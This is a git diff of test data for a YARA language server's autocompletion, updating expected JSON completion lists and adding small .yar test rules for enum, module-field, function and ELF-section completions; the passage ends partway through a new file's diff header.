{ + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "for" + }, + { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, + "kind": 14, + "label": "in" + }, + { + "insertText": "pe.entry_point", + "insertTextFormat": 2, + "kind": 14, + "label": "entrypoint" + }, + { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "with" + }, + { + "kind": 14, + "label": "all" + }, + { + "kind": 14, + "label": "and" + }, + { + "kind": 14, + "label": "any" + }, + { + "kind": 14, + "label": "defined" + }, + { + "kind": 14, + "label": "false" + }, + { + "kind": 14, + "label": "filesize" + }, + { + "kind": 14, + "label": "none" + }, + { + "kind": 14, + "label": "not" + }, + { + "kind": 14, + "label": "of" + }, + { + "kind": 14, + "label": "or" + }, + { + "kind": 14, + "label": "true" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion20.response.json b/ls/src/tests/testdata/completion20.response.json index fc49f45d7..d1230f453 100644 --- a/ls/src/tests/testdata/completion20.response.json +++ b/ls/src/tests/testdata/completion20.response.json @@ -1,5 +1,9 @@ [ { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$my_str = \"hello\"\n```\n" + }, "kind": 1, "label": "my_str", "labelDetails": { @@ -7,6 +11,10 @@ } }, { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$other = \"world\"\n```\n" + }, "kind": 1, "label": "other", "labelDetails": { diff --git a/ls/src/tests/testdata/completion22.response.json b/ls/src/tests/testdata/completion22.response.json index 5406a2a05..16ec482eb 100644 --- a/ls/src/tests/testdata/completion22.response.json +++ b/ls/src/tests/testdata/completion22.response.json @@ -1,57 +1,61 @@ [ { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, "kind": 14, - "label": "and" + "label": "at" }, { + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, "kind": 14, - "label": "or" + "label": "for" }, { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, "kind": 14, - "label": "all" + "label": "in" }, { + "insertText": "pe.entry_point", + "insertTextFormat": 2, "kind": 14, - "label": "any" + "label": "entrypoint" }, { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, "kind": 14, - "label": "none" + "label": "with" }, { "kind": 14, - "label": "of" + "label": "all" }, { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, "kind": 14, - "label": "at" + "label": "and" }, { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, "kind": 14, - "label": "in" + "label": "any" }, { "kind": 14, - "label": "filesize" + "label": "defined" }, { - "insertText": "pe.entry_point", - "insertTextFormat": 2, "kind": 14, - "label": "entrypoint" + "label": "false" }, { "kind": 14, - "label": "true" + "label": "filesize" }, { "kind": 14, - "label": "false" + "label": "none" }, { "kind": 14, @@ -59,18 +63,14 @@ }, { "kind": 14, - "label": "defined" + "label": "of" }, { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, "kind": 14, - "label": "for" + "label": "or" }, { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, "kind": 14, - "label": "with" + "label": "true" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion23.response.json b/ls/src/tests/testdata/completion23.response.json index 5a9769e88..7e487fcea 100644 --- a/ls/src/tests/testdata/completion23.response.json +++ b/ls/src/tests/testdata/completion23.response.json @@ -1,92 +1,4 @@ [ - { - "kind": 6, - "label": "rule_one", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 6, - "label": "rule_two", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 14, - "label": "and" - }, - { - "kind": 14, - "label": "or" - }, - { - "kind": 14, - "label": "all" - }, - { - "kind": 14, - "label": "any" - }, - { - "kind": 14, - "label": "none" - }, - { - "kind": 14, - "label": "of" - }, - { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, - "kind": 14, - "label": "at" - }, - { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, - "kind": 14, - "label": "in" - }, - { - "kind": 14, - "label": "filesize" - }, - { - "insertText": "pe.entry_point", - "insertTextFormat": 2, - "kind": 14, - "label": "entrypoint" - }, - { - "kind": 14, - "label": "true" - }, - { - "kind": 14, - "label": "false" - }, - { - "kind": 14, - "label": "not" - }, - { - "kind": 14, - "label": "defined" - }, - { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "for" - }, - { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "with" - }, { "additionalTextEdits": [ { @@ -277,44 +189,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"msi\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "msi" - }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, { "additionalTextEdits": [ { @@ -410,25 +284,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { @@ -466,5 +321,99 @@ ], "kind": 9, "label": "zip" + }, + { + "data": { + "uri": "${test_dir}/completion23.yar" + }, + "kind": 6, + "label": "rule_one", + "labelDetails": { + "description": "Rule" + } + }, + { + "data": { + "uri": "${test_dir}/completion23.yar" + }, + "kind": 6, + "label": "rule_two", + "labelDetails": { + "description": "Rule" + } + }, + { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, + "kind": 14, + "label": "at" + }, + { + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "for" + }, + { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, + "kind": 14, + "label": "in" + }, + { + "insertText": "pe.entry_point", + "insertTextFormat": 2, + "kind": 14, + "label": "entrypoint" + }, + { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "with" + }, + { + "kind": 14, + "label": "all" + }, + { + "kind": 14, + "label": "and" + }, + { + "kind": 14, + "label": "any" + }, + { + "kind": 14, + "label": "defined" + }, + { + "kind": 14, + "label": "false" + }, + { + "kind": 14, + "label": "filesize" + }, + { + "kind": 14, + "label": "none" + }, + { + "kind": 14, + "label": "not" + }, + { + "kind": 14, + "label": "of" + }, + { + "kind": 14, + "label": "or" + }, + { + "kind": 14, + "label": "true" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion24.response.json b/ls/src/tests/testdata/completion24.response.json index 30b96b017..e5841b333 100644 --- a/ls/src/tests/testdata/completion24.response.json +++ b/ls/src/tests/testdata/completion24.response.json @@ -1,85 +1,4 @@ [ - { - "kind": 6, - "label": "test_magic_import", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 14, - "label": "and" - }, - { - "kind": 14, - "label": "or" - }, - { - "kind": 14, - "label": "all" - }, - { - "kind": 14, - "label": "any" - }, - { - "kind": 14, - "label": "none" - }, - { - "kind": 14, - "label": "of" - }, - { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, - "kind": 14, - "label": "at" - }, - { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, - "kind": 14, - "label": "in" - }, - { - "kind": 14, - "label": "filesize" - }, - { - "insertText": "pe.entry_point", - "insertTextFormat": 2, - "kind": 14, - "label": "entrypoint" - }, - { - "kind": 14, - "label": "true" - }, - { - "kind": 14, - "label": "false" - }, - { - "kind": 14, - "label": "not" - }, - { - "kind": 14, - "label": "defined" - }, - { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "for" - }, - { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "with" - }, { "additionalTextEdits": [ { @@ -289,44 +208,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"msi\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "msi" - }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, { "additionalTextEdits": [ { @@ -422,25 +303,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { @@ -478,5 +340,89 @@ ], "kind": 9, "label": "zip" + }, + { + "data": { + "uri": "${test_dir}/completion24.yar" + }, + "kind": 6, + "label": "test_magic_import", + "labelDetails": { + "description": "Rule" + } + }, + { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, + "kind": 14, + "label": "at" + }, + { + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "for" + }, + { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, + "kind": 14, + "label": "in" + }, + { + "insertText": "pe.entry_point", + "insertTextFormat": 2, + "kind": 14, + "label": "entrypoint" + }, + { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "with" + }, + { + "kind": 14, + "label": "all" + }, + { + "kind": 14, + "label": "and" + }, + { + "kind": 14, + "label": "any" + }, + { + "kind": 14, + "label": "defined" + }, + { + "kind": 14, + "label": "false" + }, + { + "kind": 14, + "label": "filesize" + }, + { + "kind": 14, + "label": "none" + }, + { + "kind": 14, + "label": "not" + }, + { + "kind": 14, + "label": "of" + }, + { + "kind": 14, + "label": "or" + }, + { + "kind": 14, + "label": "true" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion26.request.json b/ls/src/tests/testdata/completion26.request.json new file mode 100644 index 000000000..f77fb3028 --- /dev/null +++ b/ls/src/tests/testdata/completion26.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion26.yar" + }, + "position": { + "line": 3, + "character": 28 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion26.response.json b/ls/src/tests/testdata/completion26.response.json new file mode 100644 index 000000000..1d31b4be9 --- /dev/null +++ b/ls/src/tests/testdata/completion26.response.json @@ -0,0 +1,38 @@ +[ + { + "insertText": "ITEM_0", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_0", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "ITEM_1", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_1", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "ITEM_2", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_2", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "ITEM_3", + "insertTextFormat": 2, + "kind": 21, + "label": "ITEM_3", + "labelDetails": { + "description": "const integer" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion26.yar b/ls/src/tests/testdata/completion26.yar new file mode 100644 index 000000000..3b3f18623 --- /dev/null +++ b/ls/src/tests/testdata/completion26.yar @@ -0,0 +1,5 @@ +import "test_proto2" +rule test { + condition: + test_proto2.Enumeration. +} diff --git a/ls/src/tests/testdata/completion27.request.json b/ls/src/tests/testdata/completion27.request.json new file mode 100644 index 000000000..b5242c796 --- /dev/null +++ b/ls/src/tests/testdata/completion27.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion27.yar" + }, + "position": { + "line": 3, + "character": 16 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion27.response.json b/ls/src/tests/testdata/completion27.response.json new file mode 100644 index 000000000..dfa348a35 --- /dev/null +++ b/ls/src/tests/testdata/completion27.response.json @@ -0,0 +1,741 @@ +[ + { + "documentation": { + "kind": "markdown", + "value": "## `add(a: float, b: float) -> float`\n\n Adds two floats." + }, + "insertText": "add(${1:a}, ${2:b})", + "insertTextFormat": 2, + "kind": 2, + "label": "add(a: float, b: float)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `add(a: integer, b: integer) -> integer`\n\n Adds two integers." + }, + "insertText": "add(${1:a}, ${2:b})", + "insertTextFormat": 2, + "kind": 2, + "label": "add(a: integer, b: integer)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `get_foo() -> string`\n\n Gets foo from the protobuf." + }, + "insertText": "get_foo()", + "insertTextFormat": 2, + "kind": 2, + "label": "get_foo()", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `head(n: integer) -> string`\n\n Extracts the first n bytes of the scanned data." + }, + "insertText": "head(${1:n})", + "insertTextFormat": 2, + "kind": 2, + "label": "head(n: integer)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `to_int(string: string) -> integer`\n\n Converts a string to an integer." + }, + "insertText": "to_int(${1:string})", + "insertTextFormat": 2, + "kind": 2, + "label": "to_int(string: string)", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `undef_i64() -> integer`\n\n Returns an undefined integer." + }, + "insertText": "undef_i64()", + "insertTextFormat": 2, + "kind": 2, + "label": "undef_i64()", + "labelDetails": { + "description": "func()" + } + }, + { + "documentation": { + "kind": "markdown", + "value": "## `uppercase(s: string) -> string`\n\n Converts a string to uppercase." + }, + "insertText": "uppercase(${1:s})", + "insertTextFormat": 2, + "kind": 2, + "label": "uppercase(s: string)", + "labelDetails": { + "description": "func()" + } + }, + { + "insertText": "Enumeration", + "insertTextFormat": 2, + "kind": 13, + "label": "Enumeration", + "labelDetails": { + "description": "enum" + } + }, + { + "insertText": "INLINE_0x1000", + "insertTextFormat": 2, + "kind": 21, + "label": "INLINE_0x1000", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "INLINE_0x2000", + "insertTextFormat": 2, + "kind": 21, + "label": "INLINE_0x2000", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "NestedProto2", + "insertTextFormat": 2, + "kind": 5, + "label": "NestedProto2", + "labelDetails": { + "description": "struct" + } + }, + { + "insertText": "TopLevelEnumeration", + "insertTextFormat": 2, + "kind": 13, + "label": "TopLevelEnumeration", + "labelDetails": { + "description": "enum" + } + }, + { + "insertText": "array_bool[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_bool", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_float[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_float", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_int64[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_int64", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_string[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_string", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "array_struct[${1}]${2}", + "insertTextFormat": 2, + "kind": 5, + "label": "array_struct", + "labelDetails": { + "description": "array" + } + }, + { + "insertText": "bool_yara", + "insertTextFormat": 2, + "kind": 5, + "label": "bool_yara", + "labelDetails": { + "description": "bool" + } + }, + { + "insertText": "bytes_bar", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_bar", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_foo", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_foo", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_raw", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_raw", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "bytes_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "bytes_undef", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "deprecated", + "insertTextFormat": 2, + "kind": 5, + "label": "deprecated", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "double_one", + "insertTextFormat": 2, + "kind": 5, + "label": "double_one", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "double_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "double_undef", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "double_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "double_zero", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "enumeration", + "insertTextFormat": 2, + "kind": 5, + "label": "enumeration", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "file_size", + "insertTextFormat": 2, + "kind": 5, + "label": "file_size", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "fixed64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "fixed64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "float_one", + "insertTextFormat": 2, + "kind": 5, + "label": "float_one", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "float_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "float_undef", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "float_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "float_zero", + "labelDetails": { + "description": "float" + } + }, + { + "insertText": "int32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "int32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "int32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "int32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "int64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "int64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "int64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "int64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "items", + "insertTextFormat": 2, + "kind": 13, + "label": "items", + "labelDetails": { + "description": "enum" + } + }, + { + "insertText": "map_int64_bool", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_bool", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_float", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_float", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_int64", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_int64", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_string", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_string", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_int64_struct", + "insertTextFormat": 2, + "kind": 5, + "label": "map_int64_struct", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_bool", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_bool", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_float", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_float", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_int64", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_int64", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_string", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_string", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "map_string_struct", + "insertTextFormat": 2, + "kind": 5, + "label": "map_string_struct", + "labelDetails": { + "description": "map" + } + }, + { + "insertText": "metadata", + "insertTextFormat": 2, + "kind": 5, + "label": "metadata", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "nested", + "insertTextFormat": 2, + "kind": 5, + "label": "nested", + "labelDetails": { + "description": "struct" + } + }, + { + "insertText": "requires_foo_and_bar", + "insertTextFormat": 2, + "kind": 5, + "label": "requires_foo_and_bar", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sfixed64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sfixed64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sint32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sint32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sint32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "sint64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "sint64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "sint64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "sint64_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "string_bar", + "insertTextFormat": 2, + "kind": 5, + "label": "string_bar", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "string_foo", + "insertTextFormat": 2, + "kind": 5, + "label": "string_foo", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "string_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "string_undef", + "labelDetails": { + "description": "string" + } + }, + { + "insertText": "timestamp", + "insertTextFormat": 2, + "kind": 5, + "label": "timestamp", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint32_one", + "insertTextFormat": 2, + "kind": 5, + "label": "uint32_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint32_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "uint32_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint32_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "uint32_zero", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint64_one", + "insertTextFormat": 2, + "kind": 5, + "label": "uint64_one", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint64_undef", + "insertTextFormat": 2, + "kind": 5, + "label": "uint64_undef", + "labelDetails": { + "description": "integer" + } + }, + { + "insertText": "uint64_zero", + "insertTextFormat": 2, + "kind": 5, + "label": "uint64_zero", + "labelDetails": { + "description": "integer" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion27.yar b/ls/src/tests/testdata/completion27.yar new file mode 100644 index 000000000..22a12ccf0 --- /dev/null +++ b/ls/src/tests/testdata/completion27.yar @@ -0,0 +1,5 @@ +import "test_proto2" +rule test { + condition: + test_proto2. +} diff --git a/ls/src/tests/testdata/completion28.request.json b/ls/src/tests/testdata/completion28.request.json new file mode 100644 index 000000000..be77779b4 --- /dev/null +++ b/ls/src/tests/testdata/completion28.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion28.yar" + }, + "position": { + "line": 7, + "character": 9 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion28.response.json b/ls/src/tests/testdata/completion28.response.json new file mode 100644 index 000000000..c23d774c9 --- /dev/null +++ b/ls/src/tests/testdata/completion28.response.json @@ -0,0 +1,30 @@ +[ + { + "additionalTextEdits": [ + { + "newText": "import \"time\"\n", + "range": { + "end": { + "character": 0, + "line": 3 + }, + "start": { + "character": 0, + "line": 3 + } + } + } + ], + "documentation": { + "kind": "markdown", + "value": "## `now() -> integer`\n\n Returns the current time as the number of seconds since January 1, 1970 (UTC)." + }, + "insertText": "now()", + "insertTextFormat": 2, + "kind": 2, + "label": "now()", + "labelDetails": { + "description": "func()" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion28.yar b/ls/src/tests/testdata/completion28.yar new file mode 100644 index 000000000..1252cc795 --- /dev/null +++ b/ls/src/tests/testdata/completion28.yar @@ -0,0 +1,9 @@ +/* +Comment +*/ + +// Rule comment +rule test { + condition: + time. +} diff --git a/ls/src/tests/testdata/completion29.request.json b/ls/src/tests/testdata/completion29.request.json new file mode 100644 index 000000000..1c9eb77a1 --- /dev/null +++ b/ls/src/tests/testdata/completion29.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion29.yar" + }, + "position": { + "line": 3, + "character": 20 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion29.response.json b/ls/src/tests/testdata/completion29.response.json new file mode 100644 index 000000000..f669566fc --- /dev/null +++ b/ls/src/tests/testdata/completion29.response.json @@ -0,0 +1,146 @@ +[ + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "address", + "insertTextFormat": 2, + "kind": 5, + "label": "address", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "flags", + "insertTextFormat": 2, + "kind": 5, + "label": "flags", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "name", + "insertTextFormat": 2, + "kind": 5, + "label": "name", + "labelDetails": { + "description": "string" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "offset", + "insertTextFormat": 2, + "kind": 5, + "label": "offset", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "size", + "insertTextFormat": 2, + "kind": 5, + "label": "size", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "type", + "insertTextFormat": 2, + "kind": 5, + "label": "type", + "labelDetails": { + "description": "integer" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion29.yar b/ls/src/tests/testdata/completion29.yar new file mode 100644 index 000000000..45fce4dea --- /dev/null +++ b/ls/src/tests/testdata/completion29.yar @@ -0,0 +1,6 @@ +rule test_for { + condition: + for any section in elf.sections: ( + section. + ) +} diff --git a/ls/src/tests/testdata/completion3.response.json b/ls/src/tests/testdata/completion3.response.json index aad5c2ada..4a74703ee 100644 --- a/ls/src/tests/testdata/completion3.response.json +++ b/ls/src/tests/testdata/completion3.response.json @@ -1,5 +1,9 @@ [ { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$pattern_length = \"pattern\"\n```\n" + }, "kind": 1, "label": "pattern_length", "labelDetails": { diff --git a/ls/src/tests/testdata/completion30.request.json b/ls/src/tests/testdata/completion30.request.json new file mode 100644 index 000000000..0eb00c767 --- /dev/null +++ b/ls/src/tests/testdata/completion30.request.json @@ -0,0 +1,13 @@ +{ + "textDocument": { + "uri": "${test_dir}/completion30.yar" + }, + "position": { + "line": 3, + "character": 20 + }, + "context": { + "triggerKind": 2, + "triggerCharacter": "." + } +} diff --git a/ls/src/tests/testdata/completion30.response.json b/ls/src/tests/testdata/completion30.response.json new file mode 100644 index 000000000..f669566fc --- /dev/null +++ b/ls/src/tests/testdata/completion30.response.json @@ -0,0 